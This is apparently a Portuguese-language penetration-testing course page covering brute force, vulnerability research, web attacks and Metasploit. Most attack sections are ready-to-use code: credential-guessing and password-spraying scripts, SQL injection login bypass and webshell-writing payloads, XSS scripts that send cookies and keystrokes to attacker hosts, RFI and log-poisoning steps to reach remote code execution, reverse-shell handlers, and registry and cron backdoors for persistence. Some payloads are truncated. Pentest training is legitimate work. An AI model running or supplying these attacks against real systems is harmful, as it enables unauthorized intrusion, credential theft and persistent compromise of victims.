if [ $# -ne 2 ]; then
    echo "Usage: $0  "
    echo "Services: ssh, ftp, telnet, http"
    exit 1
fi

# Credenciais padrão comuns
DEFAULT_CREDS=(
    "admin:admin"
    "admin:password"
    "admin:123456"
    "administrator:password"
    "root:root"
    "root:password"
    "root:toor"
    "guest:"
    "admin:"
    "user:user"
    "test:test"
)

echo "[+] Testing default credentials on $TARGET:$SERVICE"

for cred in "${DEFAULT_CREDS[@]}"; do
    user=$(echo $cred | cut -d: -f1)
    pass=$(echo $cred | cut -d: -f2)
    
    echo "[*] Trying $user:$pass"
    
    case $SERVICE in
        ssh)
            sshpass -p "$pass" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no "$user@$TARGET" "echo 'SUCCESS'" 2>/dev/null
            ;;
        ftp)
            echo "SUCCESS" | ftp -n "$TARGET" </dev/null
user $user $pass
quit
EOF
            ;;
        telnet)
            expect -c "
                spawn telnet $TARGET
                expect \"login:\"
                send \"$user\r\"
                expect \"Password:\"
                send \"$pass\r\"
                expect \"$\"
                send \"echo SUCCESS\r\"
                send \"exit\r\"
                expect eof
            " 2>/dev/null
            ;;
    esac
done

Políticas de Senha Fracas

Identificar Políticas Fracas

# Testar senhas simples primeiro
echo "123456" > weak_passwords.txt
echo "password" >> weak_passwords.txt
echo "123456789" >> weak_passwords.txt
echo "qwerty" >> weak_passwords.txt
echo "abc123" >> weak_passwords.txt
echo "password123" >> weak_passwords.txt
echo "admin" >> weak_passwords.txt
echo "letmein" >> weak_passwords.txt
echo "welcome" >> weak_passwords.txt
echo "monkey" >> weak_passwords.txt

# Teste rápido
hydra -L users.txt -P weak_passwords.txt SERVIDOR_IP ssh -f

# Se funcionar, política é fraca - continuar com wordlist maior

Padrões de Política Comum

# Política: 8+ chars, 1 maiúscula, 1 número
# Gerar senhas que seguem este padrão
echo "Password1" > policy_compliant.txt
echo "Welcome1" >> policy_compliant.txt
echo "Password123" >> policy_compliant.txt
echo "Welcome123" >> policy_compliant.txt
echo "Admin123" >> policy_compliant.txt
echo "User123" >> policy_compliant.txt

# Política com símbolo obrigatório
echo "Password1!" > policy_symbol.txt
echo "Welcome1@" >> policy_symbol.txt
echo "Admin123#" >> policy_symbol.txt

# Política sazonal (muitas empresas fazem isso)
current_year=$(date +%Y)
echo "Password$current_year" > seasonal.txt
echo "Welcome$current_year" >> seasonal.txt
echo "Spring$current_year" >> seasonal.txt
echo "Summer$current_year" >> seasonal.txt

Teste de Lockout Policy

#!/bin/bash
# test_lockout.sh - Testar política de bloqueio

TARGET="$1"
USER="$2"

echo "[+] Testing lockout policy for $USER@$TARGET"

# Tentar várias senhas incorretas rapidamente
for i in {1..10}; do
    echo "[*] Attempt $i"
    sshpass -p "wrongpass$i" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no "$USER@$TARGET" "echo test" 2>&1 | grep -i "permission\|denied\|refused"
    sleep 1
done

echo "[+] Now testing if account is locked..."
sleep 30
sshpass -p "correctpass" ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=no "$USER@$TARGET" "echo test" 2>&1 | grep -i "permission\|denied\|refused"

# Se ainda conseguir tentar, não há lockout
# Se der erro diferente, pode haver lockout

Padrões Observados

Padrões Corporativos

  • Empresa + Ano: TechCorp2023
  • Welcome + Estação: WelcomeSpring2023
  • Localização: SaoPaulo123
  • Departamento: IT2023, Finance123
  • Produto/Serviço: NomeProduto123

Padrões Pessoais

  • Nome + Sobrenome: JoaoSilva
  • Nome + Nascimento: Joao1985
  • Iniciais + Números: JS123456
  • Nome + Símbolo: Joao@123
  • Apelido + Ano: Johnny2023

Padrões Brasileiros

  • Times de Futebol: Flamengo123
  • Cidades: Brasilia2023
  • Expressões: Valeu123
  • Nomes Comuns: Maria123, Jose123
  • Datas Brasileiras: Brasil1822

Padrões Técnicos

  • Teclado: qwerty123, asdf123
  • Sequencial: 123456789
  • Repetição: aaaaaa, 111111
  • Leet Speak: P@ssw0rd
  • Default + Modificação: admin123

Gerador de Padrões Brasileiros

#!/usr/bin/env python3
# brazilian_patterns.py

import datetime

def generate_brazilian_patterns():
    patterns = []
    current_year = datetime.datetime.now().year
    
    # Times de futebol
    teams = ['flamengo', 'corinthians', 'palmeiras', 'santos', 'saopaulo', 
             'vasco', 'botafogo', 'fluminense', 'gremio', 'internacional']
    
    # Cidades brasileiras
    cities = ['saopaulo', 'riodejaneiro', 'brasilia', 'salvador', 'fortaleza',
              'belohorizonte', 'manaus', 'curitiba', 'recife', 'goiania']
    
    # Nomes brasileiros comuns
    names = ['maria', 'jose', 'ana', 'joao', 'francisco', 'carlos',
             'paulo', 'lucas', 'marcos', 'pedro']
    
    # Expressões brasileiras
    expressions = ['valeu', 'brigadao', 'beleza', 'showdebol', 'massa']
    
    # Gerar combinações
    for category, items in [('times', teams), ('cidades', cities), 
                           ('nomes', names), ('expressoes', expressions)]:
        for item in items:
            # Padrões básicos
            patterns.append(item)
            patterns.append(item.capitalize())
            
            # Com números
            patterns.append(f"{item}123")
            patterns.append(f"{item.capitalize()}123")
            patterns.append(f"{item}{current_year}")
            patterns.append(f"{item.capitalize()}{current_year}")
            
            # Com símbolos
            patterns.append(f"{item}!")
            patterns.append(f"{item}@123")
            patterns.append(f"{item.capitalize()}@{current_year}")
    
    return patterns

# Salvar em arquivo
patterns = generate_brazilian_patterns()
with open('brazilian_patterns.txt', 'w') as f:
    for pattern in patterns:
        f.write(pattern + '\n')

print(f"Generated {len(patterns)} Brazilian patterns")

Quick Wins - Sucessos Rápidos

1

Credenciais Padrão

5-10 minutos

2

Top 100 Senhas

15-30 minutos

3

Password Spraying

30-60 minutos

4

Wordlist Direcionada

2-4 horas

Script de Quick Wins

#!/bin/bash
# quick_wins.sh - Sucessos rápidos em brute force

TARGET="$1"
SERVICE="$2"

if [ $# -ne 2 ]; then
    echo "Usage: $0  "
    exit 1
fi

echo "[+] Quick Wins Brute Force - $TARGET:$SERVICE"
echo "================================================"

# Fase 1: Credenciais padrão (5 min)
echo "[*] Phase 1: Default credentials"
hydra -C /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt $TARGET $SERVICE -f

# Fase 2: Top 100 senhas mais comuns (15 min)
echo "[*] Phase 2: Top 100 common passwords"  
head -100 /usr/share/wordlists/rockyou.txt > top100.txt
hydra -l admin -P top100.txt $TARGET $SERVICE -f

# Fase 3: Password spraying com senhas sazonais (30 min)
echo "[*] Phase 3: Seasonal password spraying"
current_year=$(date +%Y)
echo "Password123!" > seasonal.txt
echo "Welcome123!" >> seasonal.txt
echo "Password$current_year" >> seasonal.txt
echo "Welcome$current_year" >> seasonal.txt

# Lista de usuários comuns
echo "admin" > users.txt
echo "administrator" >> users.txt
echo "root" >> users.txt
echo "user" >> users.txt
echo "guest" >> users.txt

hydra -L users.txt -P seasonal.txt $TARGET $SERVICE

# Fase 4: Se alguma credencial funcionar, expandir
echo "[*] Phase 4: If success found, expanding..."
if [ -f "hydra.restore" ]; then
    echo "Expanding successful patterns..."
    head -1000 /usr/share/wordlists/rockyou.txt > expanded.txt
    hydra -L users.txt -P expanded.txt $TARGET $SERVICE
fi

echo "[+] Quick wins completed!"

Checklist de Quick Wins

✅ Checklist Rápido
  • ☐ Teste credenciais padrão (admin/admin, root/root)
  • ☐ Teste senhas em branco
  • ☐ Teste top 20 senhas mais comuns
  • ☐ Password spraying: Password123!
  • ☐ Password spraying: Welcome + ano atual
  • ☐ Teste nome da empresa + 123
  • ☐ Teste nome da empresa + ano
  • ☐ Verificar se há lockout policy
  • ☐ Testar usuários comuns (admin, root, user)
  • ☐ Verificar políticas de senha via erro messages
Ética e Responsabilidade

Ataques de força bruta devem ser realizados apenas em sistemas autorizados durante pentests legítimos. Sempre verifique políticas de lockout, monitore logs e minimize impacto em produção. Use técnicas de evasão apropriadas e mantenha comunicação com o cliente sobre atividades de teste.

Metodologia

O processo manual deve ser feito com cuidado e detalhes. Após identificação e enumeração de serviços e sistemas operacionais, buscamos exploits e vulnerabilidades conhecidas. A análise manual é preferível devido ao menor "barulho" gerado.

Pesquisa Manual de Vulnerabilidades

Principais Bases de Vulnerabilidades

CVE & NVD

  • CVE: https://cve.mitre.org/
  • NVD (NIST): https://nvd.nist.gov/vuln/search
  • CVE Details: https://www.cvedetails.com/

Bases oficiais de vulnerabilidades com códigos CVE únicos e pontuações CVSS.

Exploit Databases

  • Exploit-DB: https://www.exploit-db.com/
  • Rapid7: https://www.rapid7.com/
  • Packet Storm: https://packetstormsecurity.com/

Repositórios de exploits públicos e proofs-of-concept.

Vendor Advisories

  • Microsoft: Security Bulletins
  • Adobe: Security Advisories
  • Oracle: Critical Patch Updates
  • Red Hat: Security Advisories

Avisos de segurança diretamente dos fabricantes.

SearchSploit - Exploit Database Local

Comandos Básicos

# Buscar por software e versão
searchsploit apache 2.4.7
searchsploit "Windows 7"
searchsploit linux kernel 4.4

# Buscar por tipo de vulnerabilidade
searchsploit "buffer overflow"
searchsploit "sql injection"
searchsploit "privilege escalation"

Opções Avançadas

# Atualizar base de dados
searchsploit -u

# Examinar exploit específico
searchsploit -x 42341

# Copiar exploit para diretório atual
searchsploit -m 42341

# Busca case sensitive
searchsploit -c "Apache"

# Buscar apenas títulos
searchsploit -t "Remote Code Execution"

Integração com Nmap

# Usar output do Nmap
nmap -sV -oX scan.xml SERVIDOR_IP
searchsploit --nmap scan.xml

# Pipeline direto
nmap -sV SERVIDOR_IP | grep "open\|filtered" | searchsploit --colour

Metodologia de Pesquisa

1

Identificar Serviços

Nome, versão, sistema operacional

2

Buscar CVEs

Vulnerabilidades conhecidas para a versão

3

Verificar Exploits

PoCs disponíveis e aplicabilidade

4

Validar

Testar em ambiente controlado

Exemplo Prático

# 1. Identificar serviço
nmap -sV -p 80 SERVIDOR_IP
# Apache/2.4.7 (Ubuntu)

# 2. Buscar vulnerabilidades
searchsploit apache 2.4.7
searchsploit ubuntu apache

# 3. Verificar CVE específico
searchsploit CVE-2017-15715

# 4. Examinar exploit
searchsploit -x 44207

Scanners Automatizados

Ferramentas automatizadas podem facilitar a identificação de vulnerabilidades, mas podem gerar falsos positivos e são facilmente detectadas.

Nessus

Scanner comercial popular com interface web intuitiva

Características

  • Políticas de scan customizáveis
  • Relatórios detalhados
  • Base de vulnerabilidades atualizada
  • Compliance checking (PCI-DSS, etc.)

OpenVAS

Scanner open source com funcionalidades avançadas

# Instalar OpenVAS
sudo apt install openvas

# Configuração inicial
sudo gvm-setup

# Iniciar serviços
sudo gvm-start

# Interface web
# https://localhost:9392

Nuclei

Scanner moderno baseado em templates YAML

# Instalar Nuclei
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# Scan básico
nuclei -u https://empresa.com.br

# Templates específicos
nuclei -u https://empresa.com.br -t cves/
nuclei -u https://empresa.com.br -t vulnerabilities/

# Múltiplos alvos
nuclei -l targets.txt -t technologies/

Nikto

Scanner web específico para servidores HTTP

# Scan básico
nikto -h https://empresa.com.br

# Scan com plugins específicos
nikto -h https://empresa.com.br -Plugins outdated

# Salvar resultados
nikto -h https://empresa.com.br -o results.txt

# Scan de múltiplos hosts
nikto -h targets.txt
Limitações dos Scanners
  • Falsos positivos: Podem reportar vulnerabilidades inexistentes
  • Falsos negativos: Podem não detectar vulnerabilidades reais
  • Banner alterado: Versões modificadas podem enganar scanners
  • Detecção fácil: Geram muito tráfego e são facilmente identificados

PCI-DSS Compliance

Payment Card Industry Data Security Standard

Conjunto de padrões de segurança para empresas que processam, armazenam ou transmitem informações de cartão de crédito.

12 Requisitos Principais:

Requisitos 1-4: Construir Rede Segura

  • 1. Firewall e configuração de roteador
  • 2. Não usar senhas padrão do sistema
  • 3. Proteger dados armazenados do portador
  • 4. Criptografar dados transmitidos

Requisitos 5-6: Manter Programa de Gerenciamento

  • 5. Usar e atualizar antivírus regularmente
  • 6. Desenvolver sistemas e aplicações seguros

Requisitos 7-10: Implementar Medidas de Controle

  • 7. Restringir acesso por necessidade comercial
  • 8. Atribuir ID único para cada pessoa
  • 9. Restringir acesso físico aos dados
  • 10. Monitorar acesso a recursos de rede

Requisitos 11-12: Manter Política de Segurança

  • 11. Testar sistemas de segurança regularmente
  • 12. Manter política de segurança da informação

Vetores de Ataque Web

Identificando Vetores

Após Information Gathering, analisamos pontos que podem ser vulneráveis:

  • Parâmetros GET/POST: Dados passados via URL ou formulários
  • Campos de input: Formulários de login, busca, contato
  • Cookies: Dados de sessão manipuláveis
  • Headers HTTP: User-Agent, Referer, etc.
  • Upload de arquivos: Funcionalidades de upload
  • APIs: Endpoints REST/GraphQL

Páginas de Login

São potenciais vulnerabilidades pois:

  • Interagem diretamente com o backend
  • Processam credenciais sensíveis
  • Podem ter lógica de autenticação falha
  • Frequentemente alvos de brute force

SQL Injection

Uma das vulnerabilidades web mais conhecidas, permite injeção de comandos SQL diretamente no banco de dados quando a aplicação não trata adequadamente as informações enviadas.

Fundamentos de SQL Injection

Como Funciona

# Código vulnerável (PHP)
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";

# Input malicioso
username: admin' OR '1'='1' #
password: qualquer_coisa

# Query resultante
SELECT * FROM users WHERE username='admin' OR '1'='1' #' AND password='qualquer_coisa'

Testando Vulnerabilidade

# Testar com caracteres especiais
' (aspas simples)
" (aspas duplas)  
\ (barra invertida)
; (ponto e vírgula)

# Payloads básicos
' OR '1'='1
' OR 1=1 --
' OR 'a'='a
admin'--

Union-based SQLi

# Determinar número de colunas
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

# UNION SELECT
' UNION SELECT 1,2,3 --
' UNION SELECT null,null,null --

# Extrair dados
' UNION SELECT username,password,null FROM users --

Bypass de Autenticação

Técnicas de Bypass

# Payloads clássicos
admin' --
admin'/*
' OR '1'='1' --
' OR 1=1 #
') OR ('1'='1' --
'||'1'='1

# Bypass com comentários
admin'/**/--
admin'#
' OR '1'='1'/*

# Bypass com concatenação
admin'||'1'='1'--
' OR 'x'='x

Testando Diferentes Contextos

# Contexto numérico
1 OR 1=1
1' OR '1'='1
1" OR "1"="1

# Contexto de string
test' OR '1'='1' --
test" OR "1"="1" --

# Contexto de login
Username: admin' --
Password: qualquer
Dica

Após autenticar via SQL injection, reinicie o reconhecimento buscando recursos autenticados que não estavam disponíveis antes do login.

Técnicas Avançadas

Blind SQLi

# Boolean-based
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a' --

# Time-based
'; WAITFOR DELAY '00:00:05' --
' AND (SELECT SLEEP(5)) --

# Error-based
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e)) --

Database Enumeration

# MySQL
' UNION SELECT 1,schema_name,3 FROM information_schema.schemata --
' UNION SELECT 1,table_name,3 FROM information_schema.tables --
' UNION SELECT 1,column_name,3 FROM information_schema.columns --

# PostgreSQL
' UNION SELECT 1,datname,3 FROM pg_database --

# MSSQL
' UNION SELECT 1,name,3 FROM sys.databases --

File Operations

# MySQL - Ler arquivos
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3 --

# MySQL - Escrever arquivos
' UNION SELECT 1,2,'' INTO OUTFILE '/var/www/shell.php' --

# MSSQL - Ler arquivos
' UNION SELECT 1,BulkColumn,3 FROM OPENROWSET(BULK '/etc/passwd', SINGLE_CLOB) AS Contents --

Cross-Site Scripting (XSS)

XSS Refletido

Vulnerabilidade onde entrada maliciosa é refletida de volta ao navegador sem validação adequada.

Detecção Básica

# Payloads básicos (EXEMPLO EDUCATIVO - NÃO EXECUTÁVEL)
&lt;script&gt;alert('XSS')&lt;/script&gt;
&lt;img src=x onerror=alert('XSS')&gt;
&lt;svg onload=alert('XSS')&gt;
javascript:alert('XSS') [TEXTO DE EXEMPLO]

# URL encoding
%3Cscript%3Ealert('XSS')%3C/script%3E

Bypass de Filtros

# Case manipulation (EXEMPLO EDUCATIVO - NÃO EXECUTÁVEL)
&lt;ScRiPt&gt;alert('XSS')&lt;/ScRiPt&gt;

# Event handlers
&lt;img src=x onerror=alert('XSS')&gt;
&lt;body onload=alert('XSS')&gt;
&lt;input onfocus=alert('XSS') autofocus&gt;

# Sem script tags
&lt;img src="javascript:alert('XSS')"&gt;
&lt;iframe src="javascript:alert('XSS')"&gt;

# Encoding
<script>alert('XSS')</script>

Cookie Stealing

# Roubar cookies
<script>document.location='http://atacante.com.br/steal.php?cookie='+document.cookie</script>

# Enviar via imagem
<script>new Image().src='http://atacante.com.br/steal.php?cookie='+document.cookie</script>

# Fetch API
<script>fetch('http://atacante.com.br/steal.php?cookie='+document.cookie)</script>

XSS Armazenado (Stored)

Tipo mais perigoso onde o código malicioso é armazenado permanentemente no servidor.

Sequestro de Sessão

# Payload armazenado
<script>
    document.location = 'http://malicioso.com.br/steal?cookie=' + document.cookie;
</script>

# Envio por formulário
<script>
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'http://atacante.com.br/steal.php';
    var input = document.createElement('input');
    input.name = 'cookie';
    input.value = document.cookie;
    form.appendChild(input);
    document.body.appendChild(form);
    form.submit();
</script>

Keylogger

# Capturar teclas
<script>
    document.addEventListener('keypress', function(e) {
        fetch('http://atacante.com.br/log.php?key=' + e.key);
    });
</script>

# Capturar formulários
<script>
    document.querySelectorAll('form').forEach(form => {
        form.addEventListener('submit', function(e) {
            var data = new FormData(form);
            fetch('http://atacante.com.br/steal.php', {
                method: 'POST',
                body: data
            });
        });
    });
</script>

Self-XSS

Vulnerabilidade onde o usuário é enganado para executar código malicioso em seu próprio navegador.

Como Funciona

  1. Engano do usuário: Atacante convence vítima a colar código no console
  2. Execução maliciosa: Código executa com privilégios da vítima
  3. Roubo de dados: Tokens de sessão e cookies são comprometidos
Prevenção
  • Educação: Nunca colar código fornecido por terceiros
  • Avisos no console: Navegadores exibem warnings sobre self-XSS
  • CSP: Content Security Policy para restringir execução

File Inclusion Vulnerabilities

Local File Inclusion (LFI)

Vulnerabilidade que permite inclusão de arquivos do servidor local quando entrada não é sanitizada.

Path Traversal Básico

# Arquivos Linux comuns
../../../etc/passwd
../../../etc/shadow
../../../etc/hosts
../../../proc/version
../../../var/log/apache2/access.log

# Arquivos Windows
../../../windows/system32/drivers/etc/hosts
../../../windows/win.ini
../../../windows/system.ini

Bypass Techniques

# Null byte (PHP < 5.3.4)
../../../etc/passwd%00

# Double encoding
..%252f..%252f..%252fetc%252fpasswd

# URL encoding
..%2f..%2f..%2fetc%2fpasswd

# UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

Wrappers PHP

# Base64 encoding
php://filter/convert.base64-encode/resource=../../../etc/passwd

# Data wrapper
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

# Expect wrapper
expect://id

# Input wrapper
php://input

Remote File Inclusion (RFI)

Similar ao LFI, mas permite incluir arquivos de fontes externas controladas pelo atacante.

Configuração do Payload

# 1. Criar arquivo malicioso (shell.php)


# 2. Hospedar em servidor controlado
python3 -m http.server 8000

# 3. Incluir arquivo remoto
http://vulneravel.com.br/page.php?file=http://atacante.com.br:8000/shell.php

# 4. Executar comandos
http://vulneravel.com.br/page.php?file=http://atacante.com.br:8000/shell.php&cmd=id

Payloads Avançados

# Reverse shell
$sock, 1=>$sock, 2=>$sock),$pipes);
?>

# Download e execução

LFI to RCE - Log Poisoning

Técnica para converter LFI em execução remota de código através da contaminação de logs.

Apache Log Poisoning

# 1. Contaminar log do Apache
curl -A "" http://vulneravel.com.br/

# 2. Incluir log via LFI
http://vulneravel.com.br/page.php?file=../../../var/log/apache2/access.log

# 3. Executar comandos
http://vulneravel.com.br/page.php?file=../../../var/log/apache2/access.log&cmd=id

SSH Log Poisoning

# 1. Tentar login SSH com payload
ssh ''@vulneravel.com.br

# 2. Incluir log SSH
http://vulneravel.com.br/page.php?file=../../../var/log/auth.log&cmd=whoami

Upload Shell via LFI

# 1. Contaminar log
curl -A "" http://vulneravel.com.br/

# 2. Incluir log para executar upload
http://vulneravel.com.br/page.php?file=../../../var/log/apache2/access.log

# 3. Acessar shell criada
http://vulneravel.com.br/shell.php?cmd=id

Outras Vulnerabilidades Web

Open Redirect

Redirecionamento para sites externos maliciosos

# Parâmetros comuns
?redirect=http://malicioso.com.br
?url=http://malicioso.com.br
?next=//malicioso.com.br

# Bypass encoding
?redirect=http%3A//malicioso.com.br
?url=//malicioso.com.br
?redirect=https://malicioso.com.br@good.com

HTML Injection

Injeção de código HTML para phishing

# Formulário falso
# Iframe malicioso

HTTP Methods Abuse

Exploração de métodos HTTP perigosos

# PUT method para upload
curl -X PUT -d "" http://site.com.br/shell.php

# DELETE method
curl -X DELETE http://site.com.br/important.php

# TRACE method
curl -X TRACE http://site.com.br/

WebDAV Exploitation

# Testar WebDAV
curl -X OPTIONS http://site.com.br/

# Upload com PUT
curl -X PUT -d "malicious content" http://site.com.br/shell.txt

# Usar cadaver
cadaver http://site.com.br/
> put shell.php

# davtest
davtest -url http://site.com.br/

O que é Metasploit?

O Metasploit é um framework modular de código aberto para desenvolvimento e execução de exploits. É uma das ferramentas mais utilizadas em pentests devido à sua vasta biblioteca de exploits, payloads e módulos auxiliares.

Comandos Básicos do MSF Console

Comandos Fundamentais

Navegação e Busca

# Iniciar Metasploit
msfconsole

# Mostrar ajuda
help
?

# Buscar exploits/modules
search type:exploit platform:windows
search name:smb
search cve:2017
search fullname:eternal

# Usar um exploit
use exploit/windows/smb/ms17_010_eternalblue

# Voltar ao contexto anterior
back

# Sair
exit
quit

Configuração de Exploits

# Informações sobre o exploit
info
show info

# Mostrar opções
show options
show advanced
show payloads
show targets

# Definir alvo
set RHOSTS SERVIDOR_IP
set RHOST SERVIDOR_IP

# Definir payload
set payload windows/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
set LPORT 4444

# Verificar configuração
show options

# Executar exploit
exploit
run
exploit -j  # background job

Tabela de Comandos Principais

Comando Uso Exemplo
show Visualizar algo show options, show payloads
use Usar algum módulo use exploit/windows/smb/ms17_010
set Setar alguma informação set RHOST SERVIDOR_IP
run Inicia o payload run, exploit
search Busca por algo search type:exploit smb
sessions Mostra as sessões ativas sessions -l, sessions -i 1
background Dentro do meterpreter Deixa sessão ativa de lado

Base de Dados do Metasploit

Quando a base de dados está ligada no Metasploit, conseguimos verificar toda ação realizada e organizar informações coletadas.

Comandos de Base de Dados

Comando Função Parâmetros Úteis
services Verifica os serviços ativos e informações salvas -p (portas), --rhosts
db_nmap Fazer varredura usando nmap dentro do metasploit Mesmos parâmetros do nmap
hosts Ver os hosts ativos -a (adicionar), -d (deletar)
vulns Identificar vulnerabilidades Mostra vulns encontradas
creds Acessar credenciais armazenadas Senhas e hashes capturados

Workflow com Base de Dados

# Verificar status da base de dados
db_status

# Inicializar base de dados (se necessário)
msfdb init

# Fazer scan e salvar na base
db_nmap -sV -p 1-1000 REDE_ALVO/24

# Ver hosts descobertos
hosts

# Ver serviços identificados
services

# Filtrar por porta específica
services -p 80
services -p 22,80,443

# Importar scan do nmap externo
# Primeiro fazer o scan e salvar em XML:
nmap -sV --open -oX /tmp/scan.xml REDE_ALVO/24

# Depois importar no metasploit:
db_import /tmp/scan.xml

# Ver credenciais capturadas
creds

# Adicionar credencial manualmente
creds add user:admin password:123456 host:SERVIDOR_IP

Gerenciamento de Sessões

Comandos de Sessão

# Listar sessões ativas
sessions
sessions -l

# Interagir com sessão específica
sessions -i 1

# Informações sobre sessão
sessions -i 1 -v

# Matar sessão
sessions -k 1

# Matar todas as sessões
sessions -K

# Atualizar sessão
sessions -u 1  # upgrade to meterpreter

# Executar comando em sessão
sessions -c "whoami" -i 1

# Background de sessão ativa
# (dentro da sessão)
background
bg

Multi-Handler para Catch Shells

# Configurar listener para receber conexões
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
set LPORT 4444
set ExitOnSession false  # Não fechar após primeira conexão
exploit -j  # Rodar em background

# Handler genérico para shells simples
use exploit/multi/handler
set payload generic/shell_reverse_tcp
set LHOST ATACANTE_IP
set LPORT 4444
exploit -j

Recursos Avançados

Resource Scripts

# Salvar comandos em arquivo
echo "use exploit/multi/handler" > handler.rc
echo "set payload windows/meterpreter/reverse_tcp" >> handler.rc
echo "set LHOST ATACANTE_IP" >> handler.rc
echo "set LPORT 4444" >> handler.rc
echo "exploit -j" >> handler.rc

# Executar resource script
resource handler.rc

# Resource script no startup
msfconsole -r handler.rc

Workspaces

# Listar workspaces
workspace

# Criar workspace
workspace -a projeto1

# Trocar workspace
workspace projeto1

# Deletar workspace
workspace -d projeto1

# Renomear workspace
workspace -r projeto1 projeto_novo

Logs e Output

# Habilitar logging
spool /tmp/msf_log.txt

# Parar logging
spool off

# Salvar saída de comando
services > /tmp/services.txt

# Histórico de comandos
history

Jobs em Background

# Listar jobs ativos
jobs

# Matar job específico
jobs -k 1

# Matar todos os jobs
jobs -K

# Ver informações de job
jobs -i 1

# Executar exploit em background
exploit -j

Estrutura do Metasploit

Exploits

Código que aproveita vulnerabilidades específicas

# Localização
/usr/share/metasploit-framework/modules/exploits/

# Categorias principais
exploit/windows/
exploit/linux/
exploit/multi/
exploit/android/

Payloads

Código executado após exploração bem-sucedida

# Tipos principais
singles/    # Payload único
stagers/    # Pequeno payload inicial
stages/     # Payload principal baixado

# Exemplos
windows/shell/reverse_tcp
linux/x86/meterpreter/reverse_tcp

Auxiliares

Módulos para scanning, fuzzing e outros

# Scanner modules
auxiliary/scanner/smb/smb_version
auxiliary/scanner/http/dir_scanner

# Brute force
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/ftp/ftp_login

Post-Exploitation

Módulos para ações pós-exploração

# Localização
post/windows/
post/linux/
post/multi/

# Exemplos
post/windows/gather/hashdump
post/linux/gather/enum_system

Meterpreter - Shell Avançado

Comandos Fundamentais

sysinfo
Informações do sistema
sysinfo
getuid
Usuário atual
getuid
ps
Lista de processos
ps
shell
Shell do sistema
shell
background
Colocar sessão em background
background
sessions
Listar sessões ativas
sessions -l

Manipulação de Arquivos

Navegação

# Diretório atual
pwd

# Listar arquivos
dir
ls

# Navegar
cd c:\\windows
cd /etc

# Buscar arquivos
search -f config*.txt
search -d logs

Upload/Download

# Download do alvo
download c:\\windows\\system32\\config\\sam
download /etc/passwd

# Upload para o alvo
upload /tmp/shell.exe c:\\windows\\temp\\
upload /tmp/script.sh /tmp/

# Executar arquivo
execute -f c:\\windows\\temp\\shell.exe
execute -f /tmp/script.sh

Comandos de Rede

Informações de Rede

# Configuração de rede
ipconfig
ifconfig

# Tabela de roteamento
route

# Conexões ativas
netstat

# ARP table
arp

Pivoting

# Adicionar rota
route add 172.16.1.0 255.255.255.0 1

# Port forwarding
portfwd add -l 3389 -p 3389 -r 172.16.1.100

# Socks proxy
auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
run

Escalação e Persistência

Escalação de Privilégios

# Verificar privilégios
getprivs

# Tentar elevar privilégios
getsystem

# Exploits locais
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# UAC bypass (Windows)
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
run

Persistência

# Persistence module
use exploit/windows/local/persistence
set SESSION 1
set STARTUP SYSTEM
run

# Manual registry persistence (Windows)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\\windows\\temp\\backdoor.exe'

# Cron job (Linux)
shell
echo "* * * * * /tmp/backdoor" | crontab -

Exploits Famosos

MS17-010 EternalBlue

# Vulnerabilidade SMB Windows
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS SERVIDOR_IP
set payload windows/x64/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
set LPORT 4444
run

CVE-2021-44228 Log4Shell

# Log4j RCE
use exploit/multi/http/log4shell_header_injection
set RHOSTS SERVIDOR_IP
set RPORT 8080
set TARGETURI /
set payload java/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
run

Shellshock (CVE-2014-6271)

# Bash CGI vulnerability
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS SERVIDOR_IP
set TARGETURI /cgi-bin/test.cgi
set payload linux/x86/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
run

Drupalgeddon2 (CVE-2018-7600)

# Drupal RCE
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS SERVIDOR_IP
set TARGETURI /drupal/
set payload php/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
run

Módulos Auxiliares Úteis

Scanners

# SMB version scanner
use auxiliary/scanner/smb/smb_version
set RHOSTS REDE_ALVO/24
run

# HTTP version scanner
use auxiliary/scanner/http/http_version
set RHOSTS REDE_ALVO/24
run

# SSH version scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS REDE_ALVO/24
run

Brute Force

# SSH brute force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS SERVIDOR_IP
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

# SMB brute force
use auxiliary/scanner/smb/smb_login
set RHOSTS SERVIDOR_IP
set SMBUser admin
set PASS_FILE passwords.txt
run

Post-Exploitation

# Hash dump
use post/windows/gather/hashdump
set SESSION 1
run

# System enumeration
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Credential gathering
use post/windows/gather/credentials/credential_collector
set SESSION 1
run

Criando Payloads Customizados

MSFVenom - Gerador de Payloads

MSFVenom é um gerador de payloads que facilita o desenvolvimento de exploits e criação de shells personalizados.

Comandos Fundamentais MSFVenom

Comando Função Observações
msfvenom -l Lista os payloads suportados --formats lista os formatos suportados
-p payload Define o payload a ser usado Ex: windows/x64/meterpreter/reverse_tcp
-f formato Define o formato de saída exe, elf, war, php, aspx, etc.
-o arquivo Nome do arquivo de saída Ex: shell.exe, backdoor.war
